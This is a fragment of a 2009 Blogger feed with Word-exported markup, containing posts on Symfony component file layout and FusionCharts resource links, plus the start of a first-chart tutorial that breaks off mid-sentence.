mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;&lt;i style=""&gt;&lt;br /&gt;&lt;span style=";font-family:Cambria;font-size:11;"  &gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="Picture_x0020_1" spid="_x0000_i1025" type="#_x0000_t75" style="'width:379.5pt;height:155.25pt;visibility:visible'"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\amit.a\LOCALS~1\Temp\msohtml1\07\clip_image001.png" title=""&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;Symfony Components:&lt;/span&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="place"&gt;&lt;/o:smarttagtype&gt;&lt;o:smarttagtype namespaceuri="urn:schemas-microsoft-com:office:smarttags" name="City"&gt;&lt;/o:smarttagtype&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if !mso]&gt;&lt;object classid="clsid:38481807-CA0E-42D2-BF39-B33AF135CC4D" id="ieooui"&gt;&lt;/object&gt; &lt;style&gt; st1\:*{behavior:url(#ieooui) } &lt;/style&gt; &lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;} @font-face  {font-family:Calibri;  panose-1:2 15 5 2 2 2 4 3 2 4;  mso-font-charset:0;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} h2  {mso-style-update:auto;  mso-style-link:"Heading 2 Char";  mso-style-next:"Body Text";  margin-top:12.0pt;  margin-right:0in;  margin-bottom:3.0pt;  margin-left:0in;  text-indent:0in;  mso-pagination:widow-orphan;  page-break-after:avoid;  mso-outline-level:2;  mso-hyphenate:none;  tab-stops:list .25in;  font-size:12.0pt;  mso-bidi-font-size:10.0pt;  mso-bidi-font-family:Arial;    mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;  } p.MsoBodyText, li.MsoBodyText, div.MsoBodyText  {margin-top:0in;  margin-right:0in;  margin-bottom:6.0pt;  margin-left:0in;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.NoSpacing, li.NoSpacing, div.NoSpacing  {mso-style-name:"No Spacing";  mso-style-parent:"";  mso-style-link:"No Spacing Char";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:Calibri;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:"Times New Roman";} span.NoSpacingChar  {mso-style-name:"No Spacing Char";  mso-style-locked:yes;  mso-style-link:"No Spacing";  mso-ansi-font-size:11.0pt;  mso-bidi-font-size:11.0pt;  font-family:Calibri;  mso-ascii-font-family:Calibri;  mso-hansi-font-family:Calibri;  mso-ansi-language:EN-US;  mso-fareast-language:EN-US;  mso-bidi-language:AR-SA;} span.Heading2Char  {mso-style-name:"Heading 2 Char";  mso-style-locked:yes;  mso-style-link:"Heading 2";  mso-ansi-font-size:12.0pt;  font-family:Cambria;  mso-ascii-font-family:Cambria;  mso-hansi-font-family:Cambria;  mso-bidi-font-family:Arial;  color:#1F4A7D;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;  mso-bidi-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:1;  mso-list-template-ids:1112408098;} @list l0:level1  {mso-level-text:%1;  mso-level-tab-stop:.55in;  mso-level-number-position:left;  margin-left:.55in;  text-indent:-.3in;  mso-bidi-font-family:"Times New Roman";} @list l0:level2  {mso-level-start-at:0;  mso-level-text:"%1\.%2";  mso-level-tab-stop:33.3pt;  mso-level-number-position:left;  margin-left:33.3pt;  text-indent:-.4in;  mso-bidi-font-family:"Times New Roman";  font-variant:normal !important;  mso-hide:none;  text-transform:none;  position:relative;  top:0pt;  mso-text-raise:0pt;  letter-spacing:0pt;  mso-font-kerning:0pt;  text-effect:none;  text-shadow:none;  text-effect:none;  text-effect:none;  mso-ansi-font-weight:normal;  mso-bidi-font-weight:normal;  mso-ansi-font-style:normal;  mso-bidi-font-style:normal;  text-decoration:none;  text-underline:none;  text-decoration:none;  text-line-through:none;  vertical-align:baseline;} @list l0:level3  {mso-level-text:"%1\.%2\.%3";  mso-level-tab-stop:.5in;  mso-level-number-position:left;  margin-left:.5in;  text-indent:-.5in;  mso-bidi-font-family:"Times New Roman";  font-variant:normal !important;  mso-hide:none;  text-transform:none;  position:relative;  top:0pt;  mso-text-raise:0pt;  letter-spacing:0pt;  mso-font-kerning:0pt;  text-effect:none;  text-shadow:none;  text-effect:none;  text-effect:none;  mso-ansi-font-weight:normal;  mso-bidi-font-weight:normal;  mso-ansi-font-style:normal;  mso-bidi-font-style:normal;  text-decoration:none;  text-underline:none;  text-decoration:none;  text-line-through:none;  vertical-align:baseline;} @list l0:level4  {mso-level-text:"%1\.%2\.%3\.%4";  mso-level-tab-stop:.6in;  mso-level-number-position:left;  margin-left:.6in;  text-indent:-.6in;  mso-bidi-font-family:"Times New Roman";} @list l0:level5  {mso-level-text:"%1\.%2\.%3\.%4\.%5";  mso-level-tab-stop:.7in;  mso-level-number-position:left;  margin-left:.7in;  text-indent:-.7in;  mso-bidi-font-family:"Times New Roman";} @list l0:level6  {mso-level-text:"%1\.%2\.%3\.%4\.%5\.%6";  mso-level-tab-stop:.8in;  mso-level-number-position:left;  margin-left:.8in;  text-indent:-.8in;  mso-bidi-font-family:"Times New Roman";} @list l0:level7  {mso-level-text:"%1\.%2\.%3\.%4\.%5\.%6\.%7";  mso-level-tab-stop:.9in;  mso-level-number-position:left;  margin-left:.9in;  text-indent:-.9in;  mso-bidi-font-family:"Times New Roman";} @list l0:level8  {mso-level-text:"%1\.%2\.%3\.%4\.%5\.%6\.%7\.%8";  mso-level-tab-stop:1.0in;  mso-level-number-position:left;  margin-left:1.0in;  text-indent:-1.0in;  mso-bidi-font-family:"Times New Roman";} @list l0:level9  {mso-level-text:"%1\.%2\.%3\.%4\.%5\.%6\.%7\.%8\.%9";  mso-level-tab-stop:1.1in;  mso-level-number-position:left;  margin-left:1.1in;  text-indent:-1.1in;  mso-bidi-font-family:"Times New Roman";} ol  {margin-bottom:0in;} ul  {margin-bottom:0in;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;A Symfony Component (both Application and Framework) consist of a Controller file, one or more View files, and one or more optional Action files.&lt;span style=""&gt;  &lt;/span&gt;The Application Components View Files are located in the &lt;i style=""&gt;$APP_BASE/templates&lt;/i&gt; directory, while it Controller and Action files are located in &lt;i style=""&gt;$APP_BASE/actions.&lt;span style=""&gt;  &lt;/span&gt;Similarly&lt;/i&gt;, the Framework Component View files are stored in&lt;span style=""&gt;  &lt;/span&gt;&lt;i style=""&gt;$FRAMEWORK_BASE/templates, &lt;/i&gt;and The Controller and Action Files are in the &lt;i style=""&gt;$APP_BASE/actions &lt;/i&gt;directory.&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="margin-left: 33.3pt; text-indent: -0.4in;"&gt;&lt;a name="_Toc210413046"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;        &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;1. Component View&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;A Component View contains the HTML markup and JavaScript to create the user interface.&lt;span style=""&gt;   &lt;/span&gt;Each component has a main view called &lt;b style=""&gt;&lt;i style=""&gt;_{componentName}.php&lt;/i&gt;&lt;/b&gt; .&lt;span style=""&gt;  &lt;/span&gt;Additional views can be defined by creating a file called &lt;b style=""&gt;&lt;i style=""&gt;_{componentName}{viewName}.php&lt;/i&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2 style="margin-left: 33.3pt; text-indent: -0.4in;"&gt;&lt;a name="_Toc210413047"&gt;&lt;!--[if !supportLists]--&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;        &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;2. Component Controller&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;The Component’s Controller file contains the business logic (interactions with the SU2 web services) for the component.&lt;span style=""&gt;  &lt;/span&gt;This file has the following naming convension &lt;b style=""&gt;&lt;i style=""&gt;_{componentName}Component.class.php &lt;/i&gt;&lt;/b&gt;&lt;span style=""&gt; &lt;/span&gt;(Note the “_” must be the first character).&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p class="NoSpacing" style="margin-left: 0.5in;"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;/p&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;} @font-face  {font-family:Calibri;  panose-1:2 15 5 2 2 2 4 3 2 4;  mso-font-charset:0;  mso-generic-font-family:swiss;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.NoSpacing, li.NoSpacing, div.NoSpacing  {mso-style-name:"No Spacing";  mso-style-parent:"";  mso-style-link:"No Spacing Char";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:11.0pt;  font-family:Calibri;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:"Times New Roman";} span.NoSpacingChar  {mso-style-name:"No Spacing Char";  mso-style-locked:yes;  mso-style-link:"No Spacing";  mso-ansi-font-size:11.0pt;  mso-bidi-font-size:11.0pt;  font-family:Calibri;  mso-ascii-font-family:Calibri;  mso-hansi-font-family:Calibri;  mso-ansi-language:EN-US;  mso-fareast-language:EN-US;  mso-bidi-language:AR-SA;} p.ListParagraph, li.ListParagraph, div.ListParagraph  {mso-style-name:"List Paragraph";  mso-style-link:"List Paragraph Char";  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpFirst, li.ListParagraphCxSpFirst, div.ListParagraphCxSpFirst  {mso-style-name:"List ParagraphCxSpFirst";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpMiddle, li.ListParagraphCxSpMiddle, div.ListParagraphCxSpMiddle  {mso-style-name:"List ParagraphCxSpMiddle";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpLast, li.ListParagraphCxSpLast, div.ListParagraphCxSpLast  {mso-style-name:"List ParagraphCxSpLast";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} span.ListParagraphChar  {mso-style-name:"List Paragraph Char";  mso-style-locked:yes;  mso-style-link:"List Paragraph";  mso-ansi-font-size:11.0pt;  font-family:Cambria;  mso-ascii-font-family:Cambria;  mso-hansi-font-family:Cambria;  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;  mso-bidi-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:1584875227;  mso-list-type:hybrid;  mso-list-template-ids:-487925106 67698703 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l0:level1  {mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} ol  {margin-bottom:0in;} ul  {margin-bottom:0in;} --&gt; &lt;/style&gt;&lt;p class="ListParagraphCxSpLast" style="margin-left: 1in;"&gt;&lt;span lang="EN-GB"&gt;&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;  &lt;/p&gt;&lt;p&gt;&lt;/p&gt;  &lt;i style=""&gt;&lt;span style=";font-family:Cambria;font-size:11;"  &gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;/i&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-7237334490446075427?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/7237334490446075427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/symfony-introduction.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7237334490446075427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/7237334490446075427'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/symfony-introduction.html' title='Symfony - An Introduction'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oeqlq2e5Ncs/SdCWBeQ7-tI/AAAAAAAAABQ/E0LEbfGzy3I/s72-c/clip_image002.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-8632188368907091618</id><published>2009-03-30T02:39:00.001-07:00</published><updated>2009-03-30T02:41:25.703-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fusion Chart'/><category scheme='http://www.blogger.com/atom/ns#' term='API'/><title type='text'>Quick Links to FusionCharts Resources &amp; Demos</title><content type='html'>&lt;table style="font-family: arial;font-family:arial;"  width="98%" align="center" border="0" cellpadding="3" cellspacing="0"&gt;&lt;tbody&gt; &lt;tr&gt;     &lt;td class="lightYellowTr" valign="top"&gt;&lt;span class="header"&gt;General Information &lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class="text" valign="top"&gt;&lt;ul&gt;&lt;li&gt;FusionCharts Website: &lt;a href="http://www.fusioncharts.com/" target="_blank"&gt;www.fusioncharts.com&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Product Overview: &lt;a href="http://www.fusioncharts.com/Overview.asp?gMenuItemId=1" target="_blank"&gt;www.fusioncharts.com/Overview.asp&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Feature Tour: &lt;a href="http://www.fusioncharts.com/Tour.asp?gMenuItemId=2" target="_blank"&gt;www.fusioncharts.com/Tour.asp&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;   &lt;/tr&gt;      &lt;tr&gt;     &lt;td class="lightYellowTr" valign="top"&gt;&lt;span class="header"&gt;Online Demos  and Chart Gallery&lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class="text" valign="top"&gt;&lt;ul&gt;&lt;li&gt;Online Demos: &lt;a href="http://www.fusioncharts.com/LiveDemos.asp?gMenuItemId=4" target="_blank"&gt;www.fusioncharts.com/LiveDemos.asp&lt;/a&gt;&lt;/li&gt;&lt;li&gt;FusionCharts BluePrint Application: &lt;a href="http://www.fusioncharts.com/Demos/Blueprint/" target="_blank"&gt;www.fusioncharts.com/Demos/Blueprint/&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Chart Gallery: &lt;a href="http://www.fusioncharts.com/Gallery.asp?gMenuItemId=3" target="_blank"&gt;www.fusioncharts.com/Gallery.asp&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class="lightYellowTr" valign="top"&gt;&lt;span class="header"&gt;Support Information &lt;/span&gt;&lt;/td&gt;   &lt;/tr&gt;   &lt;tr&gt;     &lt;td class="text" valign="top"&gt;&lt;ul&gt;&lt;li&gt;Online Forums: &lt;a href="http://www.fusioncharts.com/forum" target="_blank"&gt;www.fusioncharts.com/forum&lt;/a&gt; &lt;/li&gt;&lt;li&gt;Knowledge Base: &lt;a href="http://www.fusioncharts.com/KB/?cNode=1F3K5Y&amp;amp;gMenuItemId=18" target="_blank"&gt;www.fusioncharts.com/KB&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-8632188368907091618?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/8632188368907091618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/quick-links-to-fusioncharts-resources.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8632188368907091618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/8632188368907091618'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/quick-links-to-fusioncharts-resources.html' title='Quick Links to FusionCharts Resources &amp; Demos'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7055785053081955788</id><published>2009-03-30T02:22:00.001-07:00</published><updated>2009-03-30T02:38:28.836-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Fusion Chart'/><category scheme='http://www.blogger.com/atom/ns#' term='API'/><title type='text'>Fusion Chart - Create your first application</title><content type='html'>&lt;h2 style="font-family: arial;" class="pageHeader"&gt;Creating your First Chart&lt;/h2&gt;    &lt;p style="font-family: arial;"&gt;Here, we'll guide you through the process&lt;br /&gt;   of creating your first chart. For a head start, we'll create a simple&lt;br /&gt;   3D Column Chart to visually depict Monthly Sales Summary. &lt;/p&gt;      &lt;p style="font-family: arial;"&gt;To create any chart using FusionCharts, you need to assemble three things:&lt;/p&gt;      &lt;ol style="font-family: arial;"&gt;&lt;br /&gt;   &lt;li&gt;&lt;strong&gt;SWF File&lt;/strong&gt; for the chart that you want to create. We&lt;br /&gt;     want to create a 3D Column Chart, whose SWF file is named&lt;br /&gt;     as &lt;span class="codeInline"&gt;Column3D.swf&lt;/span&gt;. All the chart SWF files&lt;br /&gt;     are present in &lt;span class="codeInline"&gt;Download Package&lt;/span&gt; &amp;gt;&lt;br /&gt;     &lt;span class="codeInline"&gt;Charts&lt;/span&gt; folder. &lt;/li&gt;&lt;br /&gt;&lt;br /&gt;   &lt;li&gt;&lt;strong&gt;XML Data File&lt;/strong&gt;. FusionCharts accepts data only in&lt;br /&gt;     a pre-defined XML format. So, you'll need to convert your data to XML&lt;br /&gt;     format - either using a server side scripting language or manually.&lt;/li&gt;&lt;br /&gt;   &lt;li&gt;&lt;strong&gt;HTML Wrapper File&lt;/strong&gt;. This HTML file would contain the&lt;br /&gt;     code to embed the chart.&lt;/li&gt;&lt;br /&gt; &lt;/ol&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;Before we get on to assemble the above items, let's create a new folder&lt;br /&gt;   that will serve as our playground for our trials and researches. Create&lt;br /&gt;   a new folder named as &lt;span class="codeInline"&gt;c:\FusionCharts &lt;/span&gt;on&lt;br /&gt;   your computer. We'll keep all our examples within this folder. &lt;/p&gt;&lt;br /&gt;  &lt;p style="font-family: arial;"&gt;For our first chart example, we'll create another folder within the above&lt;br /&gt;   folder. Name the new folder as &lt;span class="codeInline"&gt;MyFirstChart&lt;/span&gt;&lt;br /&gt;   so that the structure now looks like &lt;span class="codeInline"&gt;c:\FusionCharts\MyFirstChart&lt;/span&gt;.&lt;/p&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;All examples discussed in the documentation&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  are present in Download Package under &lt;/span&gt;&lt;span style="font-family: arial;" class="codeInline"&gt;Code&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;  folder.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;Setting the Chart SWF&lt;/span&gt;&lt;p style="font-family: arial;"&gt;Now, to build the chart, we need to copy&lt;br /&gt;   chart SWF files within this folder. Before that, create another folder&lt;br /&gt;   &lt;span class="codeInline"&gt;FusionCharts&lt;/span&gt; under &lt;span 